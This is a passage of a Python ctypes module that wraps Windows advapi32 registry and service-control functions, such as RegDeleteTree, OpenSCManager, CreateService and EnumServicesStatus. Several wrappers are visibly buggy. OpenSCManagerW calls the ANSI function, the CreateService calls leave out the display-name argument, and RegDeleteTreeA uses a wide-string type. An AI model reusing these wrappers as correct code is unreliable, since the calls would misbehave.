2648 _RegDeleteKeyValueW.argtypes = [HKEY, LPWSTR, LPWSTR]
2649 _RegDeleteKeyValueW.restype = LONG
2650 _RegDeleteKeyValueW.errcheck = RaiseIfNotErrorSuccess
2651 _RegDeleteKeyValueW(hKeySrc, lpSubKey, lpValueName)
2652 RegDeleteKeyValue = GuessStringType(RegDeleteKeyValueA, RegDeleteKeyValueW)
2653
2654 # LONG WINAPI RegDeleteKey(
2655 # __in HKEY hKey,
2656 # __in LPCTSTR lpSubKey
2657 # );
2658 def RegDeleteKeyA(hKeySrc, lpSubKey = None):
2659 _RegDeleteKeyA = windll.advapi32.RegDeleteKeyA
2660 _RegDeleteKeyA.argtypes = [HKEY, LPSTR]
2661 _RegDeleteKeyA.restype = LONG
2662 _RegDeleteKeyA.errcheck = RaiseIfNotErrorSuccess
2663 _RegDeleteKeyA(hKeySrc, lpSubKey)
2664 def RegDeleteKeyW(hKeySrc, lpSubKey = None):
2665 _RegDeleteKeyW = windll.advapi32.RegDeleteKeyW
2666 _RegDeleteKeyW.argtypes = [HKEY, LPWSTR]
2667 _RegDeleteKeyW.restype = LONG
2668 _RegDeleteKeyW.errcheck = RaiseIfNotErrorSuccess
2669 _RegDeleteKeyW(hKeySrc, lpSubKey)
2670 RegDeleteKey = GuessStringType(RegDeleteKeyA, RegDeleteKeyW)
2671
2672 # LONG WINAPI RegDeleteKeyEx(
2673 # __in HKEY hKey,
2674 # __in LPCTSTR lpSubKey,
2675 # __in REGSAM samDesired,
2676 # __reserved DWORD Reserved
2677 # );
2678
2679 def RegDeleteKeyExA(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY):
2680 _RegDeleteKeyExA = windll.advapi32.RegDeleteKeyExA
2681 _RegDeleteKeyExA.argtypes = [HKEY, LPSTR, REGSAM, DWORD]
2682 _RegDeleteKeyExA.restype = LONG
2683 _RegDeleteKeyExA.errcheck = RaiseIfNotErrorSuccess
2684 _RegDeleteKeyExA(hKeySrc, lpSubKey, samDesired, 0)
2685 def RegDeleteKeyExW(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY):
2686 _RegDeleteKeyExW = windll.advapi32.RegDeleteKeyExW
2687 _RegDeleteKeyExW.argtypes = [HKEY, LPWSTR, REGSAM, DWORD]
2688 _RegDeleteKeyExW.restype = LONG
2689 _RegDeleteKeyExW.errcheck = RaiseIfNotErrorSuccess
2690 _RegDeleteKeyExW(hKeySrc, lpSubKey, samDesired, 0)
2691 RegDeleteKeyEx = GuessStringType(RegDeleteKeyExA, RegDeleteKeyExW)
2692
2693 # LONG WINAPI RegCopyTree(
2694 # __in HKEY hKeySrc,
2695 # __in_opt LPCTSTR lpSubKey,
2696 # __in HKEY hKeyDest
2697 # );
2698 def RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest):
2699 _RegCopyTreeA = windll.advapi32.RegCopyTreeA
2700 _RegCopyTreeA.argtypes = [HKEY, LPSTR, HKEY]
2701 _RegCopyTreeA.restype = LONG
2702 _RegCopyTreeA.errcheck = RaiseIfNotErrorSuccess
2703 _RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest)
2704 def RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest):
2705 _RegCopyTreeW = windll.advapi32.RegCopyTreeW
2706 _RegCopyTreeW.argtypes = [HKEY, LPWSTR, HKEY]
2707 _RegCopyTreeW.restype = LONG
2708 _RegCopyTreeW.errcheck = RaiseIfNotErrorSuccess
2709 _RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest)
2710 RegCopyTree = GuessStringType(RegCopyTreeA, RegCopyTreeW)
2711
2712 # LONG WINAPI RegDeleteTree(
2713 # __in HKEY hKey,
2714 # __in_opt LPCTSTR lpSubKey
2715 # );
2716 def RegDeleteTreeA(hKey, lpSubKey = None):
2717 _RegDeleteTreeA = windll.advapi32.RegDeleteTreeA
2718 _RegDeleteTreeA.argtypes = [HKEY, LPWSTR]
2719 _RegDeleteTreeA.restype = LONG
2720 _RegDeleteTreeA.errcheck = RaiseIfNotErrorSuccess
2721 _RegDeleteTreeA(hKey, lpSubKey)
2722 def RegDeleteTreeW(hKey, lpSubKey = None):
2723 _RegDeleteTreeW = windll.advapi32.RegDeleteTreeW
2724 _RegDeleteTreeW.argtypes = [HKEY, LPWSTR]
2725 _RegDeleteTreeW.restype = LONG
2726 _RegDeleteTreeW.errcheck = RaiseIfNotErrorSuccess
2727 _RegDeleteTreeW(hKey, lpSubKey)
2728 RegDeleteTree = GuessStringType(RegDeleteTreeA, RegDeleteTreeW)
2729
2730 # LONG WINAPI RegFlushKey(
2731 # __in HKEY hKey
2732 # );
2733 def RegFlushKey(hKey):
2734 _RegFlushKey = windll.advapi32.RegFlushKey
2735 _RegFlushKey.argtypes = [HKEY]
2736 _RegFlushKey.restype = LONG
2737 _RegFlushKey.errcheck = RaiseIfNotErrorSuccess
2738 _RegFlushKey(hKey)
2739
2740 # LONG WINAPI RegLoadMUIString(
2741 # _In_ HKEY hKey,
2742 # _In_opt_ LPCTSTR pszValue,
2743 # _Out_opt_ LPTSTR pszOutBuf,
2744 # _In_ DWORD cbOutBuf,
2745 # _Out_opt_ LPDWORD pcbData,
2746 # _In_ DWORD Flags,
2747 # _In_opt_ LPCTSTR pszDirectory
2748 # );
2749
2750 # TO DO
2751
2752 #------------------------------------------------------------------------------
2753
2754 # BOOL WINAPI CloseServiceHANDLE(
2755 # _In_ SC_HANDLE hSCObject
2756 # );
2757 def CloseServiceHANDLE(hSCObject):
2758 _CloseServiceHANDLE = windll.advapi32.CloseServiceHANDLE
2759 _CloseServiceHANDLE.argtypes = [SC_HANDLE]
2760 _CloseServiceHANDLE.restype = bool
2761 _CloseServiceHANDLE.errcheck = RaiseIfZero
2762
2763 if isinstance(hSCObject, HANDLE):
2764 # Prevents the handle from being closed without notifying the HANDLE object.
2765 hSCObject.close()
2766 else:
2767 _CloseServiceHANDLE(hSCObject)
2768
2769 # SC_HANDLE WINAPI OpenSCManager(
2770 # _In_opt_ LPCTSTR lpMachineName,
2771 # _In_opt_ LPCTSTR lpDatabaseName,
2772 # _In_ DWORD dwDesiredAccess
2773 # );
2774 def OpenSCManagerA(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
2775 _OpenSCManagerA = windll.advapi32.OpenSCManagerA
2776 _OpenSCManagerA.argtypes = [LPSTR, LPSTR, DWORD]
2777 _OpenSCManagerA.restype = SC_HANDLE
2778 _OpenSCManagerA.errcheck = RaiseIfZero
2779
2780 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2781 return ServiceControlManagerHANDLE(hSCObject)
2782
2783 def OpenSCManagerW(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
2784 _OpenSCManagerW = windll.advapi32.OpenSCManagerW
2785 _OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD]
2786 _OpenSCManagerW.restype = SC_HANDLE
2787 _OpenSCManagerW.errcheck = RaiseIfZero
2788
2789 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2790 return ServiceControlManagerHANDLE(hSCObject)
2791
2792 OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW)
2793
2794 # SC_HANDLE WINAPI OpenService(
2795 # _In_ SC_HANDLE hSCManager,
2796 # _In_ LPCTSTR lpServiceName,
2797 # _In_ DWORD dwDesiredAccess
2798 # );
2799 def OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS):
2800 _OpenServiceA = windll.advapi32.OpenServiceA
2801 _OpenServiceA.argtypes = [SC_HANDLE, LPSTR, DWORD]
2802 _OpenServiceA.restype = SC_HANDLE
2803 _OpenServiceA.errcheck = RaiseIfZero
2804 return ServiceHANDLE( _OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess) )
2805
2806 def OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS):
2807 _OpenServiceW = windll.advapi32.OpenServiceW
2808 _OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD]
2809 _OpenServiceW.restype = SC_HANDLE
2810 _OpenServiceW.errcheck = RaiseIfZero
2811 return ServiceHANDLE( _OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess) )
2812
2813 OpenService = GuessStringType(OpenServiceA, OpenServiceW)
2814
2815 # SC_HANDLE WINAPI CreateService(
2816 # _In_ SC_HANDLE hSCManager,
2817 # _In_ LPCTSTR lpServiceName,
2818 # _In_opt_ LPCTSTR lpDisplayName,
2819 # _In_ DWORD dwDesiredAccess,
2820 # _In_ DWORD dwServiceType,
2821 # _In_ DWORD dwStartType,
2822 # _In_ DWORD dwErrorControl,
2823 # _In_opt_ LPCTSTR lpBinaryPathName,
2824 # _In_opt_ LPCTSTR lpLoadOrderGroup,
2825 # _Out_opt_ LPDWORD lpdwTagId,
2826 # _In_opt_ LPCTSTR lpDependencies,
2827 # _In_opt_ LPCTSTR lpServiceStartName,
2828 # _In_opt_ LPCTSTR lpPassword
2829 # );
2830 def CreateServiceA(hSCManager, lpServiceName,
2831 lpDisplayName = None,
2832 dwDesiredAccess = SERVICE_ALL_ACCESS,
2833 dwServiceType = SERVICE_WIN32_OWN_PROCESS,
2834 dwStartType = SERVICE_DEMAND_START,
2835 dwErrorControl = SERVICE_ERROR_NORMAL,
2836 lpBinaryPathName = None,
2837 lpLoadOrderGroup = None,
2838 lpDependencies = None,
2839 lpServiceStartName = None,
2840 lpPassword = None):
2841
2842 _CreateServiceA = windll.advapi32.CreateServiceA
2843 _CreateServiceA.argtypes = [SC_HANDLE, LPSTR, LPSTR, DWORD, DWORD, DWORD, DWORD, LPSTR, LPSTR, LPDWORD, LPSTR, LPSTR, LPSTR]
2844 _CreateServiceA.restype = SC_HANDLE
2845 _CreateServiceA.errcheck = RaiseIfZero
2846
2847 dwTagId = DWORD(0)
2848 hService = _CreateServiceA(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword)
2849 return ServiceHANDLE(hService), dwTagId.value
2850
2851 def CreateServiceW(hSCManager, lpServiceName,
2852 lpDisplayName = None,
2853 dwDesiredAccess = SERVICE_ALL_ACCESS,
2854 dwServiceType = SERVICE_WIN32_OWN_PROCESS,
2855 dwStartType = SERVICE_DEMAND_START,
2856 dwErrorControl = SERVICE_ERROR_NORMAL,
2857 lpBinaryPathName = None,
2858 lpLoadOrderGroup = None,
2859 lpDependencies = None,
2860 lpServiceStartName = None,
2861 lpPassword = None):
2862
2863 _CreateServiceW = windll.advapi32.CreateServiceW
2864 _CreateServiceW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, DWORD, DWORD, DWORD, DWORD, LPWSTR, LPWSTR, LPDWORD, LPWSTR, LPWSTR, LPWSTR]
2865 _CreateServiceW.restype = SC_HANDLE
2866 _CreateServiceW.errcheck = RaiseIfZero
2867
2868 dwTagId = DWORD(0)
2869 hService = _CreateServiceW(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword)
2870 return ServiceHANDLE(hService), dwTagId.value
2871
2872 CreateService = GuessStringType(CreateServiceA, CreateServiceW)
2873
2874 # BOOL WINAPI DeleteService(
2875 # _In_ SC_HANDLE hService
2876 # );
2877 def DeleteService(hService):
2878 _DeleteService = windll.advapi32.DeleteService
2879 _DeleteService.argtypes = [SC_HANDLE]
2880 _DeleteService.restype = bool
2881 _DeleteService.errcheck = RaiseIfZero
2882 _DeleteService(hService)
2883
2884 # BOOL WINAPI GetServiceKeyName(
2885 # _In_ SC_HANDLE hSCManager,
2886 # _In_ LPCTSTR lpDisplayName,
2887 # _Out_opt_ LPTSTR lpServiceName,
2888 # _Inout_ LPDWORD lpcchBuffer
2889 # );
2890 def GetServiceKeyNameA(hSCManager, lpDisplayName):
2891 _GetServiceKeyNameA = windll.advapi32.GetServiceKeyNameA
2892 _GetServiceKeyNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD]
2893 _GetServiceKeyNameA.restype = bool
2894
2895 cchBuffer = DWORD(0)
2896 _GetServiceKeyNameA(hSCManager, lpDisplayName, None, byref(cchBuffer))
2897 if cchBuffer.value == 0:
2898 raise ctypes.WinError()
2899 lpServiceName = ctypes.create_string_buffer(cchBuffer.value + 1)
2900 cchBuffer.value = sizeof(lpServiceName)
2901 success = _GetServiceKeyNameA(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer))
2902 if not success:
2903 raise ctypes.WinError()
2904 return lpServiceName.value
2905
2906 def GetServiceKeyNameW(hSCManager, lpDisplayName):
2907 _GetServiceKeyNameW = windll.advapi32.GetServiceKeyNameW
2908 _GetServiceKeyNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD]
2909 _GetServiceKeyNameW.restype = bool
2910
2911 cchBuffer = DWORD(0)
2912 _GetServiceKeyNameW(hSCManager, lpDisplayName, None, byref(cchBuffer))
2913 if cchBuffer.value == 0:
2914 raise ctypes.WinError()
2915 lpServiceName = ctypes.create_unicode_buffer(cchBuffer.value + 2)
2916 cchBuffer.value = sizeof(lpServiceName)
2917 success = _GetServiceKeyNameW(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer))
2918 if not success:
2919 raise ctypes.WinError()
2920 return lpServiceName.value
2921
2922 GetServiceKeyName = GuessStringType(GetServiceKeyNameA, GetServiceKeyNameW)
2923
2924 # BOOL WINAPI GetServiceDisplayName(
2925 # _In_ SC_HANDLE hSCManager,
2926 # _In_ LPCTSTR lpServiceName,
2927 # _Out_opt_ LPTSTR lpDisplayName,
2928 # _Inout_ LPDWORD lpcchBuffer
2929 # );
2930 def GetServiceDisplayNameA(hSCManager, lpServiceName):
2931 _GetServiceDisplayNameA = windll.advapi32.GetServiceDisplayNameA
2932 _GetServiceDisplayNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD]
2933 _GetServiceDisplayNameA.restype = bool
2934
2935 cchBuffer = DWORD(0)
2936 _GetServiceDisplayNameA(hSCManager, lpServiceName, None, byref(cchBuffer))
2937 if cchBuffer.value == 0:
2938 raise ctypes.WinError()
2939 lpDisplayName = ctypes.create_string_buffer(cchBuffer.value + 1)
2940 cchBuffer.value = sizeof(lpDisplayName)
2941 success = _GetServiceDisplayNameA(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer))
2942 if not success:
2943 raise ctypes.WinError()
2944 return lpDisplayName.value
2945
2946 def GetServiceDisplayNameW(hSCManager, lpServiceName):
2947 _GetServiceDisplayNameW = windll.advapi32.GetServiceDisplayNameW
2948 _GetServiceDisplayNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD]
2949 _GetServiceDisplayNameW.restype = bool
2950
2951 cchBuffer = DWORD(0)
2952 _GetServiceDisplayNameW(hSCManager, lpServiceName, None, byref(cchBuffer))
2953 if cchBuffer.value == 0:
2954 raise ctypes.WinError()
2955 lpDisplayName = ctypes.create_unicode_buffer(cchBuffer.value + 2)
2956 cchBuffer.value = sizeof(lpDisplayName)
2957 success = _GetServiceDisplayNameW(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer))
2958 if not success:
2959 raise ctypes.WinError()
2960 return lpDisplayName.value
2961
2962 GetServiceDisplayName = GuessStringType(GetServiceDisplayNameA, GetServiceDisplayNameW)
2963
2964 # BOOL WINAPI QueryServiceConfig(
2965 # _In_ SC_HANDLE hService,
2966 # _Out_opt_ LPQUERY_SERVICE_CONFIG lpServiceConfig,
2967 # _In_ DWORD cbBufSize,
2968 # _Out_ LPDWORD pcbBytesNeeded
2969 # );
2970
2971 # TO DO
2972
2973 # BOOL WINAPI QueryServiceConfig2(
2974 # _In_ SC_HANDLE hService,
2975 # _In_ DWORD dwInfoLevel,
2976 # _Out_opt_ LPBYTE lpBuffer,
2977 # _In_ DWORD cbBufSize,
2978 # _Out_ LPDWORD pcbBytesNeeded
2979 # );
2980
2981 # TO DO
2982
2983 # BOOL WINAPI ChangeServiceConfig(
2984 # _In_ SC_HANDLE hService,
2985 # _In_ DWORD dwServiceType,
2986 # _In_ DWORD dwStartType,
2987 # _In_ DWORD dwErrorControl,
2988 # _In_opt_ LPCTSTR lpBinaryPathName,
2989 # _In_opt_ LPCTSTR lpLoadOrderGroup,
2990 # _Out_opt_ LPDWORD lpdwTagId,
2991 # _In_opt_ LPCTSTR lpDependencies,
2992 # _In_opt_ LPCTSTR lpServiceStartName,
2993 # _In_opt_ LPCTSTR lpPassword,
2994 # _In_opt_ LPCTSTR lpDisplayName
2995 # );
2996
2997 # TO DO
2998
2999 # BOOL WINAPI ChangeServiceConfig2(
3000 # _In_ SC_HANDLE hService,
3001 # _In_ DWORD dwInfoLevel,
3002 # _In_opt_ LPVOID lpInfo
3003 # );
3004
3005 # TO DO
3006
3007 # BOOL WINAPI StartService(
3008 # _In_ SC_HANDLE hService,
3009 # _In_ DWORD dwNumServiceArgs,
3010 # _In_opt_ LPCTSTR *lpServiceArgVectors
3011 # );
3012 def StartServiceA(hService, ServiceArgVectors = None):
3013 _StartServiceA = windll.advapi32.StartServiceA
3014 _StartServiceA.argtypes = [SC_HANDLE, DWORD, LPVOID]
3015 _StartServiceA.restype = bool
3016 _StartServiceA.errcheck = RaiseIfZero
3017
3018 if ServiceArgVectors:
3019 dwNumServiceArgs = len(ServiceArgVectors)
3020 CServiceArgVectors = (LPSTR * dwNumServiceArgs)(*ServiceArgVectors)
3021 lpServiceArgVectors = ctypes.pointer(CServiceArgVectors)
3022 else:
3023 dwNumServiceArgs = 0
3024 lpServiceArgVectors = None
3025 _StartServiceA(hService, dwNumServiceArgs, lpServiceArgVectors)
3026
3027 def StartServiceW(hService, ServiceArgVectors = None):
3028 _StartServiceW = windll.advapi32.StartServiceW
3029 _StartServiceW.argtypes = [SC_HANDLE, DWORD, LPVOID]
3030 _StartServiceW.restype = bool
3031 _StartServiceW.errcheck = RaiseIfZero
3032
3033 if ServiceArgVectors:
3034 dwNumServiceArgs = len(ServiceArgVectors)
3035 CServiceArgVectors = (LPWSTR * dwNumServiceArgs)(*ServiceArgVectors)
3036 lpServiceArgVectors = ctypes.pointer(CServiceArgVectors)
3037 else:
3038 dwNumServiceArgs = 0
3039 lpServiceArgVectors = None
3040 _StartServiceW(hService, dwNumServiceArgs, lpServiceArgVectors)
3041
3042 StartService = GuessStringType(StartServiceA, StartServiceW)
3043
3044 # BOOL WINAPI ControlService(
3045 # _In_ SC_HANDLE hService,
3046 # _In_ DWORD dwControl,
3047 # _Out_ LPSERVICE_STATUS lpServiceStatus
3048 # );
3049 def ControlService(hService, dwControl):
3050 _ControlService = windll.advapi32.ControlService
3051 _ControlService.argtypes = [SC_HANDLE, DWORD, LPSERVICE_STATUS]
3052 _ControlService.restype = bool
3053 _ControlService.errcheck = RaiseIfZero
3054
3055 rawServiceStatus = SERVICE_STATUS()
3056 _ControlService(hService, dwControl, byref(rawServiceStatus))
3057 return ServiceStatus(rawServiceStatus)
3058
3059 # BOOL WINAPI ControlServiceEx(
3060 # _In_ SC_HANDLE hService,
3061 # _In_ DWORD dwControl,
3062 # _In_ DWORD dwInfoLevel,
3063 # _Inout_ PVOID pControlParams
3064 # );
3065
3066 # TO DO
3067
3068 # DWORD WINAPI NotifyServiceStatusChange(
3069 # _In_ SC_HANDLE hService,
3070 # _In_ DWORD dwNotifyMask,
3071 # _In_ PSERVICE_NOTIFY pNotifyBuffer
3072 # );
3073
3074 # TO DO
3075
3076 # BOOL WINAPI QueryServiceStatus(
3077 # _In_ SC_HANDLE hService,
3078 # _Out_ LPSERVICE_STATUS lpServiceStatus
3079 # );
3080 def QueryServiceStatus(hService):
3081 _QueryServiceStatus = windll.advapi32.QueryServiceStatus
3082 _QueryServiceStatus.argtypes = [SC_HANDLE, LPSERVICE_STATUS]
3083 _QueryServiceStatus.restype = bool
3084 _QueryServiceStatus.errcheck = RaiseIfZero
3085
3086 rawServiceStatus = SERVICE_STATUS()
3087 _QueryServiceStatus(hService, byref(rawServiceStatus))
3088 return ServiceStatus(rawServiceStatus)
3089
3090 # BOOL WINAPI QueryServiceStatusEx(
3091 # _In_ SC_HANDLE hService,
3092 # _In_ SC_STATUS_TYPE InfoLevel,
3093 # _Out_opt_ LPBYTE lpBuffer,
3094 # _In_ DWORD cbBufSize,
3095 # _Out_ LPDWORD pcbBytesNeeded
3096 # );
3097 def QueryServiceStatusEx(hService, InfoLevel = SC_STATUS_PROCESS_INFO):
3098
3099 if InfoLevel != SC_STATUS_PROCESS_INFO:
3100 raise NotImplementedError()
3101
3102 _QueryServiceStatusEx = windll.advapi32.QueryServiceStatusEx
3103 _QueryServiceStatusEx.argtypes = [SC_HANDLE, SC_STATUS_TYPE, LPVOID, DWORD, LPDWORD]
3104 _QueryServiceStatusEx.restype = bool
3105 _QueryServiceStatusEx.errcheck = RaiseIfZero
3106
3107 lpBuffer = SERVICE_STATUS_PROCESS()
3108 cbBytesNeeded = DWORD(sizeof(lpBuffer))
3109 _QueryServiceStatusEx(hService, InfoLevel, byref(lpBuffer), sizeof(lpBuffer), byref(cbBytesNeeded))
3110 return ServiceStatusProcess(lpBuffer)
3111
3112 # BOOL WINAPI EnumServicesStatus(
3113 # _In_ SC_HANDLE hSCManager,
3114 # _In_ DWORD dwServiceType,
3115 # _In_ DWORD dwServiceState,
3116 # _Out_opt_ LPENUM_SERVICE_STATUS lpServices,
3117 # _In_ DWORD cbBufSize,
3118 # _Out_ LPDWORD pcbBytesNeeded,
3119 # _Out_ LPDWORD lpServicesReturned,
3120 # _Inout_opt_ LPDWORD lpResumeHANDLE
3121 # );
3122 def EnumServicesStatusA(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
3123 _EnumServicesStatusA = windll.advapi32.EnumServicesStatusA
3124 _EnumServicesStatusA.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD]
3125 _EnumServicesStatusA.restype = bool
3126
3127 cbBytesNeeded = DWORD(0)
3128 ServicesReturned = DWORD(0)
3129 ResumeHANDLE = DWORD(0)
3130
3131 _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3132
3133 Services = []
3134 success = False
3135 while GetLastError() == ERROR_MORE_DATA:
3136 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSA):
3137 break
3138 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3139 success = _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3140 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSA) * ServicesReturned.value):
3141 raise ctypes.WinError()
3142 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSA)
3143 for index in xrange(0, ServicesReturned.value):
3144 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3145 if success: break
3146 if not success:
3147 raise ctypes.WinError()
3148
3149 return Services
3150
3151 def EnumServicesStatusW(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
3152 _EnumServicesStatusW = windll.advapi32.EnumServicesStatusW
3153 _EnumServicesStatusW.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD]
3154 _EnumServicesStatusW.restype = bool
3155
3156 cbBytesNeeded = DWORD(0)
3157 ServicesReturned = DWORD(0)
3158 ResumeHANDLE = DWORD(0)
3159
3160 _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3161
3162 Services = []
3163 success = False
3164 while GetLastError() == ERROR_MORE_DATA:
3165 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW):
3166 break
3167 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3168 success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3169 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
3170 raise ctypes.WinError()
3171 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
3172 for index in xrange(0, ServicesReturned.value):
3173 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3174 if success: break
3175 if not success:
3176 raise ctypes.WinError()
3177
3178 return Services
3179
3180 EnumServicesStatus = DefaultStringType(EnumServicesStatusA, EnumServicesStatusW)
3181
3182 # BOOL WINAPI EnumServicesStatusEx(
3183 # _In_ SC_HANDLE hSCManager,
3184 # _In_ SC_ENUM_TYPE InfoLevel,
3185 # _In_ DWORD dwServiceType,
3186 # _In_ DWORD dwServiceState,
3187 # _Out_opt_ LPBYTE lpServices,
3188 # _In_ DWORD cbBufSize,
3189 # _Out_ LPDWORD pcbBytesNeeded,
3190 # _Out_ LPDWORD lpServicesReturned,
3191 # _Inout_opt_ LPDWORD lpResumeHANDLE,
3192 # _In_opt_ LPCTSTR pszGroupName
3193 # );
3194 def EnumServicesStatusExA(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
3195
3196 if InfoLevel != SC_ENUM_PROCESS_INFO:
3197 raise NotImplementedError()
3198
3199 _EnumServicesStatusExA = windll.advapi32.EnumServicesStatusExA
3200 _EnumServicesStatusExA.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPSTR]
3201 _EnumServicesStatusExA.restype = bool
3202
3203 cbBytesNeeded = DWORD(0)
3204 ServicesReturned = DWORD(0)
3205 ResumeHANDLE = DWORD(0)
3206
3207 _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3208
3209 Services = []
3210 success = False
3211 while GetLastError() == ERROR_MORE_DATA:
3212 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSA):
3213 break
3214 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3215 success = _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3216 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value):
3217 raise ctypes.WinError()
3218 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA)
3219 for index in xrange(0, ServicesReturned.value):
3220 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3221 if success: break
3222 if not success:
3223 raise ctypes.WinError()
3224
3225 return Services
3226
3227 def EnumServicesStatusExW(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
3228 _EnumServicesStatusExW = windll.advapi32.EnumServicesStatusExW
3229 _EnumServicesStatusExW.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR]
3230 _EnumServicesStatusExW.restype = bool
3231
3232 if InfoLevel != SC_ENUM_PROCESS_INFO:
3233 raise NotImplementedError()
3234
3235 cbBytesNeeded = DWORD(0)
3236 ServicesReturned = DWORD(0)
3237 ResumeHANDLE = DWORD(0)
3238
3239 _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3240
3241 Services = []
3242 success = False
3243 while GetLastError() == ERROR_MORE_DATA:
3244 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW):
3245 break
3246 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3247 success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3248 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value):
3249 raise ctypes.WinError()
3250 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW)
3251 for index in xrange(0, ServicesReturned.value):
3252 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3253 if success: break
3254 if not success:
3255 raise ctypes.WinError()
3256
3257 return Services
3258
3259 EnumServicesStatusEx = DefaultStringType(EnumServicesStatusExA, EnumServicesStatusExW)
3260
